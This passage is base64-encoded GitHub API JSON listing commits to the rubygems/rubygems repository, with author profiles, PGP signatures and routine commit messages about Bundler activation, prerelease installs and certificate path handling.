c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI2OTg0NzA3OWM5NDBhNWM2OTM1YTdmODNhNDMxMzEwOTdlMDg1NThiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzY5ODQ3MDc5Yzk0MGE1YzY5MzVhN2Y4M2E0MzEzMTA5N2UwODU1OGIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjk4NDcwNzljOTQwYTVjNjkzNWE3ZjgzYTQzMTMxMDk3ZTA4NTU4YiJ9XX0seyJzaGEiOiI2OTg0NzA3OWM5NDBhNWM2OTM1YTdmODNhNDMxMzEwOTdlMDg1NThiIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wNi0yMFQwMzo1NjoyMVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTE5VDIyOjI5OjQ2WiJ9LCJtZXNzYWdlIjoiRW5zdXJlIHRoYXQgYW4gYXBwcm9wcmlhdGUgdmVyc2lvbiBvZiBCdW5kbGVyIGlzIGFsd2F5cyBhY3RpdmF0ZWQiLCJ0cmVlIjp7InNoYSI6IjZkMDM3MGViODBhYTFkNzI4NWFiMWVlYWEzMTcyNjQ0YTYyODA2ZjUiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy82ZDAzNzBlYjgwYWExZDcyODVhYjFlZWFhMzE3MjY0NGE2MjgwNmY1In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvNjk4NDcwNzljOTQwYTVjNjkzNWE3ZjgzYTQzMTMxMDk3ZTA4NTU4YiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuVmVyc2lvbjogR251UEcgdjFcblxuaVFJY0JBQUJBZ0FHQlFKWm1MdmFBQW9KRUFFWlc3TVYzYWhXSTY4UC8wTmI3T25qeHRkUFVsSUROYWg3UXZOdFxuclNNbFZvTnBnQjRUSEVQclYvUmJzS1V3TmRxTlhxblZZL056dk5iZDhqbURVMmdPTU45U0V2dTdzMXRnaytBUFxuSHJaOGJycHYyUGJEeUxDM290bmRnRHM1cWgrU2JVU2xoM1RUNG9Na2lRZXFTUDF3TmFsYXdUTUNiOE05NkJjeFxuOUE3a2xRVjUxQm9yZncwcFVEQlVaWDNpYnJ0aWtjQjFyVk9vd3NDcVgrMitxbWlkMTZMV2NKT01veUhqbnFJYlxuOFUyWlh4aU9OVm9BTkt2SlUxOE1FMGRlSjR5Zyt2SlB5QmJMQXZXeHVxRk8yMzhxbXNIMU1HcEY5ODFRSC9YOVxuczlzalNTU1l0enprcE52TFdBb2oxdTYzMTZtbXVSRjRVNklmMEF1SzE2bW1qS2NiTDJGVmgray9kdHZOUGhZdVxuS1I5VmFRZWdXWWtaenZQc1ZuQkU2MnBjZHA3bThiQXpIZjAzd1dNTHU5TDR2dzVKSWtaMlVRVkFjRm12Nk9wRFxuS09wMlZuTThSWkhCMzMwV3hLbFFXLzcreEoxbDRORXRxZnJQdC9Zc1BvcTZrQVNGMElzK2VlQ3RDQzgzZ0Z5blxuVUpMc3pwTWJUcXpmZUs5ODVGWlRtRGpCcnNHNlZGUEVlVUovL2d2QXZsenBFblpNRVRTN21ZOWF2c3FJdGc1elxudlN5aXJPKzhBdVpjeis1TEJOWWxnbXVrLzhLVGI1Z2htYld3RFdCVGZQRGRtdHZzazZQajVNUUEzQXBCTlJMRFxuUUE3ZGxmTytwdGxZUG5Qa1VBTDUxMytqWmZ3WFZrZDNPT2hOcmlkc1JYRVlPOUswNGErVVhaanlVV1AycE1La1xuUU5nSHBzQ0l5NjU5VGgrTG42Tmxcbj1DNXJtXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSA2ZDAzNzBlYjgwYWExZDcyODVhYjFlZWFhMzE3MjY0NGE2MjgwNmY1XG5wYXJlbnQgZDVkZTAzNTIyOWZjNTc0NWUxN2NmYTU2YjNmM2ViZTMwZjUzNzQ2OFxuYXV0aG9yIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNDk3OTMwOTgxIC0wNTAwXG5jb21taXR0ZXIgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDMxODE3ODYgLTA0MDBcblxuRW5zdXJlIHRoYXQgYW4gYXBwcm9wcmlhdGUgdmVyc2lvbiBvZiBCdW5kbGVyIGlzIGFsd2F5cyBhY3RpdmF0ZWRcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzY5ODQ3MDc5Yzk0MGE1YzY5MzVhN2Y4M2E0MzEzMTA5N2UwODU1OGIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjk4NDcwNzljOTQwYTVjNjkzNWE3ZjgzYTQzMTMxMDk3ZTA4NTU4YiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy82OTg0NzA3OWM5NDBhNWM2OTM1YTdmODNhNDMxMzEwOTdlMDg1NThiL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkNWRlMDM1MjI5ZmM1NzQ1ZTE3Y2ZhNTZiM2YzZWJlMzBmNTM3NDY4IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2Q1ZGUwMzUyMjlmYzU3NDVlMTdjZmE1NmIzZjNlYmUzMGY1Mzc0NjgiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZDVkZTAzNTIyOWZjNTc0NWUxN2NmYTU2YjNmM2ViZTMwZjUzNzQ2OCJ9XX0seyJzaGEiOiIzYWI1YWFhOTNjZTI3NTFlZWM5YjM3OGU4YTM5YTU0N2ZiMjU4MDNkIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0xOFQwMzozMDoxN1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTE4VDAzOjMwOjE3WiJ9LCJtZXNzYWdlIjoiQWxsb3cgbG9jYWwgaW5zdGFsbHMgd2l0aCB0cmFuc2l0aXZlIHByZXJlbGVhc2UgcmVxdWlyZW1lbnRzIiwidHJlZSI6eyJzaGEiOiI4ZTNiNzEwZTY1ZTkzMGEyOWRmMzFlNGI3ZmFiZmRmYjVjNGUxOWMzIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvOGUzYjcxMGU2NWU5MzBhMjlkZjMxZTRiN2ZhYmZkZmI1YzRlMTljMyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzNhYjVhYWE5M2NlMjc1MWVlYzliMzc4ZThhMzlhNTQ3ZmIyNTgwM2QiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpsbDlKQUFvSkVBRVpXN01WM2FoV0Vra1AvUm55NFRjOUlXVnBvaWZCdHJ5WDQxcE9cblVpRms2RW8wSWJFMFduTWlGNVBQanJ3UnZJcUtpbzQ2ZlRQMWw0N2hwbDdEdzIrWlFzdjlkc1BQYTVQQkduLzVcbkpKUFdadUd6NTJDNG1BTGkza2ZWK25mLzQ5ZUYyRlBXWEZKakZLU21wTGQ0eFlhdTduOTNyUkxUREhoOUpOQzZcbjB5VnIrK3djU1Q4YlpJV2RpZ1RVTXBrV2RKS2ZkaWY5dEZGdjAwZy9XcERvcnFaelZJL0p0NFpuVXZaOGdmU2Fcbkk0M1lMZ0g0UDZKMTNHUXNHM3NBci9BSVU0cEtrVVE1T0V6ekVjSUdzNmlHbGt4U2NoQ0FiTkVJV1A5aTVFUk5cbjQxdit1WG9hQjRrMG1RNmplZVlGOVFnVkRkeHlCM01raHRSaFI3V2tEME5MQnA1bDlwZS9SR3dhaytOeDAwMDdcblVHTys0bG1lTVJFblB3V0tQNWd5Z09oZGZ6MWdaVUNtV2NCZEx0bDh1MWtKa1B0TmhiREdtMGdGY1J3b1lBUUhcbi9OOU5DKzBvNWtLQlRocTBiTFNKU1VsL3hqaFJLUXBNZ3lYZCtDbTFvejl6aUQwcU5BQTZpNW9UVjVieU44alZcblJOVXozTWkxZGZJS2JtRnB1M1kxZVEyN0RFcnNqNEVrT2JyS283TmQxODc0WVVrY1BiWkUyZHJLYXhvbXRVd01cbkZkaWZycml4Q1AzV3ByYzRxZmpSbmxMVXpsanZ2YXlRb3gyMTM2eWlzZUErQUFqM29tTzl0QlhFNXpsQ3NHb3lcbkwrT1lLWkVwVTlpaXJPemxZaGFCeXRWREkwSSszVVBpVk02QmxrOWpSVVkrUjBUVktJZ3ZGSnJuRm1TWEFTZ05cbko3bE1PcnVWWmhHWGtVcDdMQnBnXG49VjI4T1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgOGUzYjcxMGU2NWU5MzBhMjlkZjMxZTRiN2ZhYmZkZmI1YzRlMTljM1xucGFyZW50IGQ1ZGUwMzUyMjlmYzU3NDVlMTdjZmE1NmIzZjNlYmUzMGY1Mzc0NjhcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwMzAyNzAxNyAtMDQwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTAzMDI3MDE3IC0wNDAwXG5cbkFsbG93IGxvY2FsIGluc3RhbGxzIHdpdGggdHJhbnNpdGl2ZSBwcmVyZWxlYXNlIHJlcXVpcmVtZW50c1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvM2FiNWFhYTkzY2UyNzUxZWVjOWIzNzhlOGEzOWE1NDdmYjI1ODAzZCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8zYWI1YWFhOTNjZTI3NTFlZWM5YjM3OGU4YTM5YTU0N2ZiMjU4MDNkIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzNhYjVhYWE5M2NlMjc1MWVlYzliMzc4ZThhMzlhNTQ3ZmIyNTgwM2QvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImQ1ZGUwMzUyMjlmYzU3NDVlMTdjZmE1NmIzZjNlYmUzMGY1Mzc0NjgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDVkZTAzNTIyOWZjNTc0NWUxN2NmYTU2YjNmM2ViZTMwZjUzNzQ2OCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kNWRlMDM1MjI5ZmM1NzQ1ZTE3Y2ZhNTZiM2YzZWJlMzBmNTM3NDY4In1dfSx7InNoYSI6ImQ1ZGUwMzUyMjlmYzU3NDVlMTdjZmE1NmIzZjNlYmUzMGY1Mzc0NjgiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJUaGUgQnVuZGxlciBCb3QiLCJlbWFpbCI6ImJvdEBidW5kbGVyLmlvIiwiZGF0ZSI6IjIwMTctMDgtMTZUMDI6MDM6MDZaIn0sImNvbW1pdHRlciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTE2VDAyOjAzOjA2WiJ9LCJtZXNzYWdlIjoiQXV0byBtZXJnZSBvZiAjMTk4NyAtIGhzYnQ6dXNlLWV4cGFuZF9wYXRoLWZvci1ydWJ5LWNvcmUsIHI9aHNidFxuXG5Vc2UgRmlsZS5leHBhbmRfcGF0aCBmb3IgY2VydGlmaWNhdGlvbiBhbmQga2V5IGxvY2F0aW9uLlxuXG4jIERlc2NyaXB0aW9uOlxuXG5CZWNhdXNlIGRpcmVjdG9yeSBzdHJ1Y3R1cmUgb2YgcnVieSBjb3JlIG5lZWRzIHRvIGEgcmVsYXRpdmUgcGF0aC5cblxuSXQgZml4ZWQgaHR0cHM6Ly90cmF2aXMtY2kub3JnL3J1YnkvcnVieS9idWlsZHMvMjU3NTg5OTQzI0w3MDAyIC5cbl9fX19fX19fX19fX19fXG5cbiMgVGFza3M6XG5cbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6ImU3ODhhZmUzYTAyYTgyNjE4Zjk0OTE2YWJmNjc5ZDQ2YzBmMDRkODgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy9lNzg4YWZlM2EwMmE4MjYxOGY5NDkxNmFiZjY3OWQ0NmMwZjA0ZDg4In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZDVkZTAzNTIyOWZjNTc0NWUxN2NmYTU2YjNmM2ViZTMwZjUzNzQ2OCIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kNWRlMDM1MjI5ZmM1NzQ1ZTE3Y2ZhNTZiM2YzZWJlMzBmNTM3NDY4IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2Q1ZGUwMzUyMjlmYzU3NDVlMTdjZmE1NmIzZjNlYmUzMGY1Mzc0NjgiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDVkZTAzNTIyOWZjNTc0NWUxN2NmYTU2YjNmM2ViZTMwZjUzNzQ2OC9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZ